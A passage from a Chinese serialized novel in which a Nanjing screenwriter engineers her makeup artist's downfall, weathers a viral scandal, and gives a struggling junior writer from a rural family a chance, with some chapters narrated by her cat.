清蒸鲈鱼总算端了上来,姜老板还送了半壶黄酒,“喝点,不多,今晚睡得好。”要不是杜华年倦极,真想给点赏钱,留她下来陪她喝两杯。
她吃着鲜美无匹的鱼肉,望着不远处的秦淮夜色,喝一口酒,竟然是温的。她轻轻念起来,“江上往来人,但爱鲈鱼美。君看一叶舟,出没风波里。”
芊芊宿醉了一整天,醒来头痛得要死一样。她拉开帘子,太阳快下山了,拉开冰箱,开一瓶柠檬苏打灌下肚子,“嗝~”一声,胃里好多了,她满足地“啊!”了一声。脑子突然转了起来,闪过了什么画面,她用力抓住,立时想起了杜华年独特的眼神,还有不能反驳的声音。
噢!天哪,感觉我在和魔鬼做交易。她掀起眉毛,挤出一个自认为很像DC漫画里反派小丑的微笑。
喵喵收到芊芊的邀约,请她到上海替她化妆。她假装谦虚,“芊姐的化妆师肯定很厉害,我就不去丢人了。”芊芊早就准备好了,“我化妆师临时有事请假,太突然了,而且你的技术好是公认的,华年姐一直扣着而已,其实我想挖你好久了!”
当时,杜华年正在看她设计的妆面手绘,她迫不及待地回消息,又忍不住偷看杜华年,杜华年全程低着头,认真地看着手绘。
喵喵不是不觉得奇怪,但她对自己的技术十分自信,一直觉得杜华年是有意打压她、埋没她。急于出走的心容不得她起疑太久,芊芊三两句恭维,她就接下了这个临时工作。她想:只是赚个外快而已,又不是什么大不了的。
杜华年抬起眼,看着她回复了最后一条消息后,露出了下意识地得意神情。她收回视线,把手绘递回去,“过了,照这个化吧。”喵喵高兴地拿回手绘转身,杜华年靠在自己的椅子上,看着她走出了门。
到了上海,芊芊一见到她,就亲自往她手里塞了一个限量版包包。她又惊讶又高兴,看见包的瞬间激动得大脑空白了一瞬,这价位的包,她平时连看都不敢看。
芊芊的脸很小很瘦,五官很有辨识度,经过喵喵的手,芊芊脱去了平时的样子,丹凤眼的妩媚被放大,眉毛尽可能的纤细,她平时最爱用的闪亮眼影、高光都被喵喵否决了,喵喵更想要雾面的白里透红,强调线条的描绘。
“你拍的是古装剧海报,古装嘛,就算是仙侠类,也应该是先要古典。你的脸,虽然让人觉得是艳丽型,但其实仔细看,最精彩的部分其实非常有古典韵味。不能一看见尖脸、立体五官就往西式风格化,你的眼睛最漂亮,丹凤眼,一定要突出古典,所以眉毛一定不能太粗,闪的,钻的,都要谨慎用,少用。”
喵喵边化边解说,神情专注,动作迅速又老练。等她结束一切动作退开到一边,芊芊看向镜子里的自己,眼睛“噌”一下亮了,她立马转头去看喵喵,笑得心花怒放,“太好看了!这是我吗?太好看了真的!”喵喵一脸淡然微笑,她早就习惯了这样的兴奋反馈。
但她不知道,此刻芊芊的激动声里,还包含许多遗憾和一点点内疚:哎哟~可惜,这么好的技术就要享受不到了……
结束时,芊芊给了喵喵两倍酬劳,喵喵问她什么意思,芊芊直接问,“你能不能辞职到我这来?”喵喵很心动,但她还是忍住了立刻答应的冲动,说当初是杜华年看好她,一直培养她,所以她要等合同到期再说。
4. 敬你一杯,祝我们都如愿以偿
喵喵在上海过了一个算得上纸醉金迷的周末。刘芊芊担心喵喵没有立刻答应她,回去之后看穿她粗暴的套路,于是加码,给她在陆家嘴包了两天五星级酒店房间,还亲自安排助理陪了她两天,带她逛外滩,逛奢侈品店,吃高档餐厅……
周一,喵喵春风得意地回到工作室,却接到了集体降薪百分之十的通知。她懵了一会儿,才急忙冲进了角落里的财务室,可是里头空空如也,旁边的食堂却传来挺热闹的声音。
潇湘馆里俨然是一个小型演说现场,张导在中间,煽情鼓动大家共克时艰,就像他在给演员讲戏,投入得绝对彻底。李导在一旁沉默地举着一张纸,喵喵凑近了看,竟然是张导和李导共同签字的,自愿降薪请愿书,并且提到,他们是自动降薪百分之三十。
我去!这是个什么东西?喵喵心里骂了一遍娘,持续费解:他们怎么能玩得这么花?
众人还在七嘴八舌,主厨海师傅突然开口,“我同意暂时降薪。别的工作室都在裁员,别说是我们影视行业,我的朋友都是餐饮业的,都快没工开没饭吃了,咱老板真是不错个人,提都没提裁员的事,只是降薪百分之十,反正我愿意同意,我相信困难总会过去!”他声音洪亮,中气十足的,这么几句话一说,把演讲推到了高潮,煽动效果立时拉满。
最关键的,还是海师傅提醒了大家,没有被裁员已经是万幸。
敲门砖理论,只要先提出一个你一定不能接受的条件,那么再提一个真正想提的条件,事儿就成了。
杜华年这一手其实玩儿了个高阶版本的敲门砖。喵喵想:这群人可真好骗,可是你们不了解杜华年,海师傅肯定是被她提前动员好了。但是张导和李导为什么要这么做呢?嗯,也不奇怪,他们的收入除了工作室固定那部分,拍一部戏的加成可比我们这种服化道的多多了,自然不会在意基础工资的百分之十还是三十。
喵喵默默回到了自己的小工作间,看着这间熟悉的小屋子,不停回想起上海那间装修华丽的化妆间,和那只限量版包包。杜华年在她眼里是过分苛刻的老板,古装剧的头饰她要求她能自己做绝不淘宝进货,进高级货也不行,古装剧的演员头发要求她用假发片梳全头,除了垫高干瘪的头型,一切露在外面的造型都不允许用流水线发包,为了防止她偷偷用,她甚至会不批她购买发包的报销单。
杜华年总是说,她的目标应该是杨树云老师,古装剧的妆发标准应该照着三十年前的来,87版《红楼》、95版《武则天》,近一点,《大明宫词》、《康熙王朝》,再发散一点,曾经的香港武侠电影、神话电影,《东方不败》、《倩女幽魂》……
以至于她的这间小工作间,就像个手工土作坊,她每次进组化妆,简直就像是工人下工地,农民下田去。
没有很久,喵喵的决定就做好了。她拿着手写的辞职信去了二楼杜华年的房间。
杜华年并不在里面,李雯坐在她的椅子上,好奇地摸这摸那。喵喵走进去,李雯眼都不抬,“终于来了,老杜叫我等你,果然。她说她批了,你放下信就可以走了,东西可以随便带走,只要是你工作间里的。”
听到最后一句,喵喵忍不住惊疑出声,“她不怕……”
“不怕。”李雯挑眉抬下巴看着她,“老杜说了,你愿意搬空都行,本来就是从无到有,她何惧再来一遍?”
这一句话砸得喵喵喘不上气来。她很聪明的,心里很清楚,“从无到有”一语双关,说的既是化妆间里全部心血,又是暗指她这个人,都是她杜华年从无到有培养出来的,根本不怕再栽培一个。
说实在,这种魄力本身是最打动喵喵的东西,可是不知从什么时候起,这股傲然之气令她感到可怕,前所未有的可怕,继而生出了可恨。
喵喵眼眶很烫,喉头酸楚,她吞咽了好几下,挺挺胸,“我只拿我自己的东西。”
很快,喵喵收拾好出来,走在院子里,发现杜华年站在一棵梧桐下看天。她走过去,面对她,和她道别,“华年姐,我……走了。”
杜华年仍然透过梧桐枝叶望着天,说:“祝你如愿以偿。”
喵喵本想再说些什么,但杜华年的神情她太熟悉,此时如果说场面话估计会变得很难堪,如果说真心话……这么多年了又不是没试过,只能是自取其辱,纠结一番,最后她沉默着走了。
李雯跟着出来,与杜华年并肩站在树下看天,“这些年来,你算计人的本事见长。”
她毫不意外,“老李老张是送上来的牌。”
李雯眨巴两下眼,又舔舔嘴,小心翼翼转头看她,“你说,你逐渐灵感消失,写不出来好东西,是不是跟算计太多有点关系?一个技能点点满,另一个就没了,就好像……那个慕容博还是慕容复的……”
她凌厉地转头看着李雯,眼神肃杀如秋日枯阳,李雯闭嘴提脚就溜,只留给她一个“我看你什么时候承认”的眼神。她忽而很后悔,今天没有把猫猫带来。
她很怀疑,李雯可能看过邮箱里她那几篇被AI退稿的大纲了。心情极端烦躁,像骤起的乌云压境,她踹了旁边的梧桐一脚。
喵喵带着甩掉过往的轻松和对未来的期待,却再也没有打通过刘芊芊的电话。她追到了上海刘芊芊租住的公寓门口,可是开门的却是刘芊芊原本“临时有事”请假的化妆师。对方轻蔑嘲讽的神色让她瞬间明白了自己的处境,三天来热锅一样的大脑突然冷却了下来,冻成了冰脑花。
她什么也没
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说,转身就走了,但没有回南京,而是在上海找了个便宜酒店住下,每天面试不同的工作室。却没有一家愿意请她。
终于,她第九次被拒绝时,忍不住问为什么,“是我技术不行吗?还是履历不够漂亮?”人家只是笑笑就走了,一边的小助理心好话多,才告诉了她真相。
其实,早在她上一次来上海替芊芊化妆的时候,刘芊芊就十分高调地跟所有人说她要挖她过来,芊芊如今流量正盛,没有谁会上赶着去跟她抢人,又不是什么了不起的资源。
可是她辞职了,芊芊却避而不见,这件事就太值得这群人精们反复琢磨了,芊芊再把握大家爱八卦的心,把她偷偷漏出杜华年剧本的事说开来,自然没有人再愿意用她。
喵喵一颗心掉进冰河,落魄、不甘。回到南京,她知道,这个圈子太小,她不知道什么时候能翻身,但至少此时,她是走投无路了。
出了车站,游荡着,太阳从天顶走到天边,她双腿走麻了,胃里也饿得抽痛。她停下来,突然恨声抽泣,在川流不息的街头。
杜华年正巧从马路对面走过,手里拿着个红酒瓶和一只高脚杯。她刚从拐角那头的酒庄出来,熬了一下午什么也没写出来,芊芊答应她的事儿已经办妥,可是她答应芊芊的本子连个影子都没有,她除了借酒浇愁,别无他法。
她先看见了喵喵,算算距离她离职已经七八天了。“还以为不会再相见呢。”她低语,停在一棵梧桐下隔着马路望着她,倒了一杯酒。
夕阳还没有消失,先刮起一阵大风,这波寒潮预告了一周,此刻终于到了。
天地一秒肃煞,落日从暖调变成了冷调,风势迅疾翻了个儿,正要飘荡荡落下来的梧桐枯叶骤然鲤鱼打挺换个姿势,逆着路径往天上卷去,整个城市发出了“呼啦啦”一声干脆清晰的遥响。
喵喵打了个颤,也看见了杜华年。一瞬间,所有的不甘与悲愤爆发,她还哭着,皱眉怒目看对面的她,她感觉她们隔了一条弱水。
杜华年只是举起半杯红酒,捏着细细的高脚,举到面前,扬起优雅微笑,杯子向她递了递。敬她一杯酒,敬她的沉默和,怒吼。
喵喵感觉脸上被狠狠刮了两刀,泪流如注,不知多久后,她抹抹泪,拖着她的大行李箱子,走了。
杜华年看着她背影走远,脸冷下来,神色不明。她举杯喝了一口酒,包里装着一沓雪白稿纸,狂风一掀,从未关好的包里扬了出来,飘散在风中,漫天都是,与枯叶相缠。
她就站在纷飞的白纸黄叶中,寂静地举杯,一口一口喝酒,她眼里什么也没有,仿佛不在这个世界上。
这画面太奇异,路人纷纷驻足拍照,甚至不少汽车都降下车窗,从里头伸出了手机。
5. 逼仄的从来不只是童年
我的麻麻抽烟喝酒,所以每天都有很臭的味道。但是怎么办呢?我太爱她了,只能拼命舔她,让她知道抽烟喝酒不好。
今天她回来得挺早,非常自觉地洗澡洗头,吃完了陈姨做的两菜一汤。我正在和我的玩具兔子撕咬得你死我活。突然觉得她太安静了,怎么说呢,就是一种直觉,虽然每天她都很安静,但今天的感觉就是很不同,我停下来,满屋子找她,她居然在阳台看……书。
她看见我了,冲我伸出手,“来,猫猫。”我一高兴,奋力蹬腿……没能跃上去,就在半空跳了一下,还得靠麻麻伸手把我拽了上来。啊!真是太高了。没办法我要陪她,只能趴在她旁边的椅子上,让她抬手就能摸到我。
阳台的壁灯如火焰颜色,杜华年思绪很乱,手机震动起来,李雯只发了两句话:看微博,你都干了什么?马上来工作室。
她傍晚在街头配着漫天飞纸喝酒的画面居然自来热度上了热搜。一时间人们疯狂猜测,她是艺术行为还是□□嗨大了,舆论现在有点危险,偏向左边还是右边结果截然不同。
她抱着猫猫去了工作室,公关瑜姐不停地打电话、接电话,话术熟练,笑声专业,就像一个令人兴奋的背景音。李雯问她,“给个说法咯,瑜姐应付完这波,就要出声明,我们倾向于把你说成是构思新故事,体验新角色……”她停下来,还是压不住变了脸,露出她的极端费解,“不是,你到底为啥搞这一出?”
杜华年自知理亏,脸偏到一边小声说:“不好意思,喝得有点多。”完全隐去偶遇喵喵的细节。
瑜姐的背景音停止了,她走回来,问她声明怎么发?她早想好了,“放一个新消息:我们将与芊芊工作室深度合作,为刘芊芊女士量身打造一部戏。”她从办公室抽屉里抽出一份协议递给李雯,瑜姐凑过来看。李雯才看到第一页一半,瑜姐“刷”一声翻了页,她震惊地瞪着瑜姐。
瑜姐很快点着头赞许,“嗯,转移视线又是利好消息,我觉得非常好,比就事论事发声明要强得多,”她抬头微笑看着杜华年,“老板,你很专业。”
杜华年很喜欢瑜姐职业的笑容和干练的气质。这些人,工作室里的每一个人都是她精挑细选,臭味相投的,可是思及喵喵……她只能想:谁也不能保证人不会变。
李雯看着瑜姐欢欣地走了,明早舆论肯定更加聚焦在杜华年身上。从设计喵喵到炒热新故事,她这些年的手段玩得越来越溜,“老杜,咱整个宵夜呗?”
杜华年一眼看穿她,“今晚又没什么月色,你给我一个与人相约的理由。”
李雯皱眉看着她,觉得越看越损,“天太冷了,做妹妹的陪姐姐喝点酒,行吗?”
“行。”
海师傅随叫随到,加起了班。猫猫可乐坏了,在办公室的皮草垫子里滚来滚去。李雯啥也不吃,开头就先喝起了梅子酒,半瓶下肚,酒壮怂人胆,“老杜,刘芊芊没演技不是秘密,你给她写戏,会不会太冒险了?你有大纲了?她能演好?”
杜华年这次难得认同了她,“确实,挺冒险。”李雯还以为自己听错了,她又接着,“但是阿雯,喵喵的事情不是一两天了,我下决心也不容易。”
李雯吃一口烤肉,“你把她辞了也行,干嘛非要利用芊芊打压她到这么惨?你看,要还芊芊人情了吧?”
杜华年干了一杯,“我哪里是为了打压喵喵,我是要告诉所有人,背叛我的人就会无路可走。”她又皱眉,“嘶,你不是豪门子女吗?你们家不教你这个?”
李雯被戳到了痛处,“老杜,咱俩换换吧,你当我爹小老婆的女儿,我认你那大文豪的爹,当亲爹!”
此话一出,两人都是一愣。
“哈哈哈……”随即两人一同笑出了泪花。
“欸,你记不记得,你大学舍友的事情啊?”李雯抹抹泪,问她。
“你说挨我打那个?”杜华年吃了一块黄瓜,“记得,怎么不记得,她欠揍嘛,老娘最恨这种装无辜的人,天底下,谁真无辜?”
李雯看着她喝酒的样子,她还是她,一点没变,“这件事闹很大你知道吗?我都听说了,我一个屁都不是的不知名校友,都听说了。你说你多牛?”
杜华年挑着眉回忆着,渐渐笑起来,越笑越大声,眼睛盯着桌上的酒菜,但根本没有再看桌上的酒菜。
李雯忽然不笑了,轻轻的肃穆里带着叹惋,“你是天生的焦点,丢在哪里都不怕没人看见的那种人,或许你们还要为这个烦恼咧……”
她还有些话没说完,杜华年知道,她想说她锋芒太盛,说她老这么干得罪人多。于是她笑叹,“阿雯,你自己不清楚吗?一味忍让、退避,就能换来和平和尊重吗?”她翻个白眼,“你甚至连礼貌都换不到。”
她说得对,李雯很清楚,她甚至觉得又被她人身攻击了。她握着酒杯忍受了两秒钟的悲愤,她知道她是劝不动老杜的,所以担忧就只能是担忧,唯有喝酒,能释放这种担忧。
喝到半夜,李雯家的司机来接人,她摇摇摆摆上了车,问要不要捎杜华年一段?杜华年拒绝了,她说她就在工作室过夜。
第二天一早,刘芊芊看到了合作新消息,心里一块大石头落地,她一直憋到今天没敢问杜华年半个字,就是打算即便被她白利用一回,也要留下个好印象。没想到杜华年这么守信用,她心里感激感动感慨万千。
人们看到这条消息,也都被各大营销号牵着鼻子把杜华年从成名开始写的所有好戏都复盘了一遍,很快,头天晚上她的街头行为艺术被吹捧上了天,说是天才才会有的肆意洒脱。
工作室一楼最里头有一排小隔间,是给新手编剧的独立创作空间。倒数第三个门牌上贴着慕华的名字。她正在里头写新大纲。从她签约到今天,已经一年,她平均每三天写一篇新大纲,可是到现在,没有一个故事能被送到杜华年桌上。
今天是她24岁生日,她本没有想起来,可是她老娘发来了一条消息:阿花,生日快乐!
阿花是她本名,这个称呼一下子把她从现实拉回了逼仄的童年。老娘是在提醒她18岁时许下的诺言——
那年,许阿花是许家村十年来第一个考上211大学的孩子,但是他父母并不快乐,村里人也并不祝福他们,因为她不是个男孩子。
她有个弟弟,接下来也要高考。
录取通知书下来那天,她在厨房帮忙烧菜,灶上炖着鸡,锅
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里煎着鱼,她往灶头添了把柴,站起来擦把手,操起刀剁肉泥。妈妈翻着油锅里的鱼对她说:“阿花,女孩子读太多书没大用,你去城里干点活吧。你年轻,样子也好,我打听过,好多活挣得挺多还包吃住,你干个四五年,二十来岁正好回来嫁人。我也不要你替弟弟挣什么彩礼,那些事我和你爸操心,你就把自己养活就行。”
均匀的剁肉声断然停滞,她的刀“突”一声扎进砧板,朱萍看着她,心里也紧张,忘记了翻鱼。
许阿花知道,这话的意思是,爹妈不再打算给她一分钱了,从此她就不是这个家的人了,但又不能说她自由了,因为到年纪她还得回来嫁人。
“妈,从现在开始,我不要你们养。但是我要读书,我会留在城里,我不会回来嫁人。”她说得很平淡,像说今天买菜用了多少钱一样随意,但她其实说得铿锵有力,因为她是用光了十八年来的所有气力,因为这句话在她心里说了十八年。
“怎么?你还想嫁到城里?还是你想学老七他们家那个不孝女?三十好几还在上海混着,也不知道干的什么见不得人的勾当,除了给爹妈丢人,还有什么用!”
老七家的不孝女是他们村出了名的。那家姐姐她认识的,可她不敢像她一样,因为每一年,老七家的两口子都要去上海闹两回,每次回来都带回一大笔钱和两大袋好东西,在村里炫耀半个月。可即便如此,一边炫耀,也还要一边再从头骂一遍那个姐姐。
许阿花知道,除非爹妈死了,不然她不可能自由,况且她还有个小两岁的妹妹。“妈,25岁,25岁之前我闯不出个名堂,我就回来嫁人。”
她握刀的手暴起青筋,菜刀隐隐颤动。朱萍看她眼神愣直,要发疯的模样,一想反正不用给钱就行,她爱干嘛就干嘛吧,到岁数了揪回来嫁人就行。
“你可记住你说的话,别说我不给你机会闯。哦哟!我的鱼!”
……
那天她如何走出厨房的,完全不知道了,只是飘飘荡荡地来到了小河边,她坐在树下才觉得全身虚软,眼泪不停地流下来,打湿她的膝盖。
慕华的手机已经熄屏,屏幕上淌了一片她的眼泪。老娘是来提醒她,她只剩一年。她看着现在这个漂亮的房间,冬暖夏凉,窗明几净,往来的皆是人美心善的同事,每一天都生活在礼貌谦和的文明世界,桌上还放着她大学毕业时拍的照片,难以高攀的学士服穿在身,她笑得灿烂,眼底虽有难藏的自卑和怯懦,但二十二岁的年华可以掩盖所有沟壑与阴霾,那么看起来,她也和别人一样,耀眼了。
所以直到此刻,相框玻璃上映出她满脸的泪水和哭红的鼻尖,她才发觉,她的逼仄从来不仅仅是童年,而是她一回头就要面对的绝望。
她感觉空气稀薄,就要窒息,抓起手机就跑了出去。
冷空气让她安静下来,满院落叶,她习惯性地刷着手机,缭乱的脑子里不自觉想起了她的妹妹,来到南京的第三年,她大三,妹妹没有考上大学;第四年,她毕业,妹妹到镇子上打工;两年前,她写网络小说赚了点钱,妹妹在镇上和一个公务员结婚;现在,听说妹妹快生了……
她就在这时看到了工作室要为芊芊写戏的热搜。
6. 动机,一定是最强的力量
杜华年躺在工作间的沙发上睡觉,身上裹着一条毛色雪白的羊皮毯子。沙发靠着墙,墙上挂着一幅半人高的大照片,照片里是杜华年侧躺在石梁上,手撑着头,闭着眼睛假寐。夏日斑驳的午后光影打在她身上,半边脸都隐去了,明亮的那半边,亮得能让人闻到盛夏焦浓的香气,她披散着卷发,穿着轻薄的蓝色纱裙和黄色衬衣,大红色的唇在明光里艳如鲜血。她的身后是滔滔不绝地江水,她的头顶是浓绿的树荫,石梁也就巴掌宽,她弯着膝盖,似乎轻松惬意地躺在午后的树荫里小憩,但其实,只要她稍微一松劲,就会滚落翻滚的江水之中。
员工涌进工作室的时候就吵醒了她,她的房间虽然隔音,但每天上班的气氛和下班的气氛是不同的,就如同白天的气息和夜晚也不同,她感知得到所有不同的底噪。热搜照片里那些飘飞的稿纸现在就整齐叠在她桌面,仍旧雪白一片。她知道李雯说的是对的,手段玩多了,灵感也消失了。
一头是她想写的武侠本,一头是她承诺的新故事,她从未有如此深的无能感。宿醉必然头痛,尼古丁可以缓解头痛,于是她不断抽烟。
“笃笃笃”,房间里响起三下敲门声,很不合时宜。
“进。”
推开门,慕华立刻呛出眼泪,满屋子烟雾缭绕,忽略味道难闻,其实还挺宛如仙境。她拼命忍住咳嗽,捂着口鼻走进去,看见杜华年手上还夹着一支烟,半靠在沙发上,身上随意地披着羊皮毯子。她眼泪直流,“华年姐,我是写手慕华。”
杜华年看着她,点点头,不说话。慕华被烟呛得不行了,“华年姐,我替你开窗透个气吧?”她走到窗边,拉开帘子,推开了窗,一股冷风灌进来,满室烟雾散尽,慕华终于看清了杜华年,与她平日的印象一点也不吻合,潦草得很。
“华年姐,我想试试看写芊芊的新戏。请您给我个机会。”慕华流利地说完这句话,只有眼神有点露馅,其余的,好像她就是个实力不弱的编剧,来提出一个建议。
她长得并算不上漂亮,肤色甚至有些黑,一张一眼就看出来从不保养的脸。很瘦,肩骨甚至称得上嶙峋,背脊微微勾着。披肩发,发质又粗又硬,穿着黑色的羽绒服,露出里头雪白的高领毛衣。十分普通的一副五官里,却有一对绝美的眉毛,浓黑、英秀、深含锋芒。拾掇拾掇,也能是个小美人。
杜华年突然来了兴趣,“我看过你写的什么故事?”
慕华顿了一秒,“没有。华年姐,我写的大纲都没有通过初选。”
她仍旧很流利地说,杜华年更乐了,“不是不能让你试。你给我个理由。”
慕华吸两口气,“我18岁离开家,到今天没有回去过,因为回我家要做飞机,再坐火车,再换汽车,再换边三,才能到。我跟我妈说,25岁之前一定闯出个名堂,不然就回家结婚。今天是我24岁生日,我妈给我发了条消息祝我生日快乐。”她拿起手机,翻出和老娘的聊天记录,翻手给杜华年看,“这是这六年,我和我妈说过的话。”
杜华年其实已经心生一计,她掐掉烟,伸手指滑动屏幕,也就十来条:
-发工资了没?寄点钱回来。
-转账5000元已被接受。
-听说你们那里盐水鸭好吃,你弟妹都馋。
-运单截图。
-过年你回来吗?
-运单截图,备注年货。
-语音通话47分钟。
-你个不孝女,混账东西!
-视频通话被拒。
-阿花,生日快乐!
杜华年抬抬手示意她收回手机,“你的笔名叫慕华,是照着我的名字取的?”
她点头,“我想成为你,像你一样出名。”
杜华年终于看见她眼神里的迫切和欲望,心里有了底,微微翘起一边嘴角,“为了什么?”
慕华看着她眼睛里突然出现了一点笑意,冷冷的。她下意识脱口而出,“我想摆脱命运。”
杜华年笑意更甚,点头轻轻哦了一声,“五天后拿出一版大纲,直接给我看,只要我这里能过,无论最后改成什么样,我都给你挂个署名。”
慕华楞了好几秒,猛然鞠躬道谢,手足无措地跑了出去。
她实在是没有想到,运气也有砸到她头上的一天,她觉得这是命运终于掉到了谷底,终于不会变得更糟糕了。和杜华年对话其实不可怕,她想,看来这个世界上,和我老娘讲话才是最恐怖的事情。
慕华前脚刚走,李雯就进来了,摆了一杯咖啡在沙发扶手边的小几上,屁股往沙发里一扔,她揉着脑袋,“你头不疼?还能应付人呢,这谁啊?”
杜华年慢条斯理打开包装喝咖啡,告诉她刚刚发生在这个房间的交易。她果然反对,“你疯了?还是我没醒?一个大纲从来没过初审的人,你给她写新戏?这消息现在铺得那么大,最后玩脱了怎么办?玩手段赢一次不会赢一百次,你是越来越膨胀了啊我发现。”
杜华年听见“膨胀”两个字,眉头一皱,脑子里“咣”一声响,脱口道:“你都没问我理由,下什么结论!”她气压丹田,话里怒意深沉,李雯吓得坐直了身,她感觉整个房间都震荡了一下,“我就是……在问你理由,你吼什么?”
她明明很怕又死撑的怂样儿把杜华年气笑了,“她敲门很稳,应该是家里老大。”
“这有什么关系?”李雯拉过羊皮毯子盖在身上。
杜华年嫌弃地看她一眼,开始循着起先的回忆画面逐条解释,“你也会说,她要求的是一个不可能的机会,因此她本能一定是紧张害怕,所以敲门稳不是真的稳,而是她视死如归。啊,这么说不准确,但就这么个意思。一个人越害怕越有勇气,那大概率她是家里扛事儿的人,所以是老大。进来以后,她第一件事是征询我的同意去拉窗帘、开窗,说明她习惯了孤独的生活,能依靠的只有自己,所以控制欲以及亲力亲为的表现非常明显,可是她却没有想过这样可能会惹我不快,说明她没有什么讨好老板的经验。她跟我说了她的身世,没什么新意,一个小山村里的女孩儿,妄图靠一己之力挣一个公平的未来,最好还能有点光明,但是她为了证明她说的话,直接把手机给我看,这个习惯说明她至少是一个务实的人,并且她不以自我为中心,这又恰好反证了她确实是家里的老大,和她说的话也吻合。我并不完全相信她给我看的聊天记录,但是她的手机已经是很多年前的旧款了,磨损痕迹非常严重,可是响应速度不算很慢,说明她用得挺爱护,还会经常整理手机里的文件,维护系统,证明她确实很穷,很需要钱。”
李雯受到了更大的震动,这是第一次,杜华年如此详细地向她解释她看到的和推理的,而关键是,短短十分钟,她看到了这么多东西?
看着她错愕的傻样,杜华年更嫌弃了,“你到底是怎么活到现在的?你可是个小老婆生的私生女。”
李雯忍住这一波伤害,不欲多说,拉回关键问题,“她是老大,身世悲惨,急需挣钱,和她能写好故事,有什么关系?”
“动机。”杜华年叹口气,站起来
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走到窗边,仍看着她,“动机一定是最强的力量。她有动机。况且,我有保底办法,阿雯,我只是写不出东西了,不是功力尽失,只要她能拿出一个故事,我就能给她改好。”她停顿下来,转头去看窗外,幽幽地,“我只是……没有新故事了。”
李雯有些想哭,她感到现在的杜华年极端脆弱,赶紧安慰她,“嗐!你只是……现有的故事用完了,再过段时间,调整调整,就又有了。好多作家都这样的呢,瓶颈期嘛,熬过去,咱直接飞升!”
杜华年没看她,仍看着窗外的梧桐树,但还是点点头,接受她的好意。
李雯走出来时,腿都站不稳了,她扶着墙边的小柳树,头一回觉得有点害怕,更恐怖的是,这个害怕它现在还小,但大有一股蓬勃长大的生机。
如果连她自己都这么坦然地承认江郎才尽了,那我该怎么办?她烦躁地脱下高跟鞋,赤脚站在石板上,靠着树望天。突然也想来根烟。
她们总说我麻麻抽烟太厉害。
她们还和我麻麻说抽烟对我的嗅觉很不友好,我感觉她们是想吓唬我麻麻,让她不要再抽了。但是我麻麻没有被吓到,她只是每次都把我放在上风向,开一个小窗缝给我,然后自己跑到下风向去抽烟。喏,那天那个姑娘进来找麻麻,被呛得流眼泪,我却一点事没有,因为我在窗下,她拉窗帘的时候还看见我了,她也看见了窗子开了条缝。我真诚地看她一眼,她愣了,我想是因为我可爱吧。
这两天麻麻都在阳台抽烟,我怕她冷,跟出来陪她,却被她赶回来。我有点不高兴,走着走着听见小赵姑娘在厨房鬼鬼祟祟打电话,我躲到餐桌底下偷偷瞄她。
“雯姐,华年姐这么抽烟真没事吗?都快当饭吃了!”
李雯正在千帆过同人吃饭,她吞下一口虾,含混着问,“几天一包?”“啊?”小赵没听明白。她笑了,“我问你,她几天抽完一包烟?”小赵哦了一声,盘算半天没个答案。她忍不住笑出声,“小赵丫头,你主子只要不是一天一包还嫌不够,就不用担心,她心里还有数。”
小赵被这个分量吓得不轻,“啊?我主子喝酒猛我知道,啥时候抽烟也怎猛了?”
“这孩子,东北话都吓出来了,”李雯乐不可支,“没事的啊,她大学那会儿就整宿整宿躲宿舍阳台抽烟了。这几年算戒了吧,最近她烦心事多,让她过过瘾吧,你别怕。”
挂了电话,陈姨端着杯黑乎乎的茶水路过她,小赵跟上去问,“陈姨,这又是啥?”“罗汉果茶,抽烟得多喝。”
小赵觉得,唯一被烟吓坏的,只有她自己。
“是谁电话?”李雯对面的男人一边剥虾一边问。李雯看着他,眉目英朗,少年可爱,眼里立刻溢满花痴爱心,“老杜的小助理,老杜这两天抽烟有点猛,把她吓着了。”
仔细看男人还稚气未脱,撑死了二十五岁,一开口也很会利用自己的优势,“姐姐,杜大编剧的生活琐事还需要你来管?”语气里饱含不满。
这正是李雯最受用的地方,她叹口气,“她哪有你好,她总是让我烦心,你总是让我开心。”
姜老板今天生意不忙,她坐在三楼廊下栏杆处,一低头就看见二楼凭窗的一桌,正好是李雯和她的小男友。她看李雯满脸幸福愉悦,想起就前些天,杜华年蜡黄着脸坐在这栏杆处,连轴处理了两个麻烦。都是来这儿吃饭,李雯总是滋润,杜华年总是忧愁。
姜老板心想:都是做老板的,她命真好啊,有什么事杜华年都第一个冲上去帮她挡着,哪像我……
7. 这一年就要过完了
慕华正在破釜沉舟。她只有五天,但她毫无头绪。
从工作室出来那天,她站在路边吃一个三明治,看着来往的人和车,已经入冬的南京沉入了一段旧时光。一个三明治吃完,她做了一个决定——去找刘芊芊。
刘芊芊还在剧组。她直奔横店,芊芊上夜戏的点儿,她已经在芊芊助理身边就位,拿着个小本子,看一点写一点,还点了奶茶,打点芊芊整个团队。
芊芊以为她是杜华年叫来的,非常配合,有问必答,带着慕华同吃同住了两天。慕华发现,芊芊和她以为的、外间相传的完全不同。
平易近人,吃苦耐劳,导演觉得ok了,她却还要再来一遍。但,她也是真的没什么演技,不管来多少遍,都一样,难怪导演懒得NG。
她在这部戏里演一个心机深沉、武力值拉满的配角,野心蓬勃,对手戏、打戏都很多。她打得没有替身好看,但是她总缠着替身教她动作,摔得慕华都看不下去了,可导演还是懒得让她亲自上,就图替身能一条过,省事。
即便如此,她还是乐呵呵的继续跟替身讨教。
每次放饭,她总是要助理多拿一份,等替身下了戏,再和她一起吃。现在慕华来了,她就又多拿一份,三个人一起吃。
短短两天,替身和她都杀青了。替身要去下一个组,芊芊拥抱她和她道别。慕华在不远处看见,她和替身都有泪在目。慕华在小本子上写字的手一顿,性情中人四个字从她心里闪过,很快,但却震动风雷。
两天下来,她愈发迷惑了,蹲在一个不起眼的角落里,捧着她的小本子,自闭。她想不明白,到底应该给芊芊一个什么样的人物设定?野心,当然了,她绝对野心蓬勃,但和这个词有关的一切特征都不太对,她实在……太笨了。对,刘芊芊其实很笨,笨和野心一点都不配。
不配……吗?她突然想起了什么,是一个呼之欲出的人物,是她久远的相识,心里风雷声更响亮了,催得她倏地站起来,把走过来的芊芊吓了一跳。
“你怎么了?吓死我了。”
慕华转头看她,笑,“芊芊老师,谢谢你这两天的照顾,我要回去了。”
刘芊芊刚送走替身,一听她也要走,更难受了,“啊?我还以为你能跟我回上海呢,我马上有一个戏了,现代的,女主。”
“不用了,素材够了。”慕华沉浸在兴奋里,哪里管得着她的失落。
芊芊却上前抱住了她,“真舍不得你!唉!我最怕这种了,有人说要走,我就难受。”
慕华看见芊芊哭了,在她面前。慕华觉得,她的感觉一定没错。
她更兴奋了。
李雯怕杜华年乱写,更怕她不写。跨年夜,她觉得正好是个机会带着杜华年去散散心。
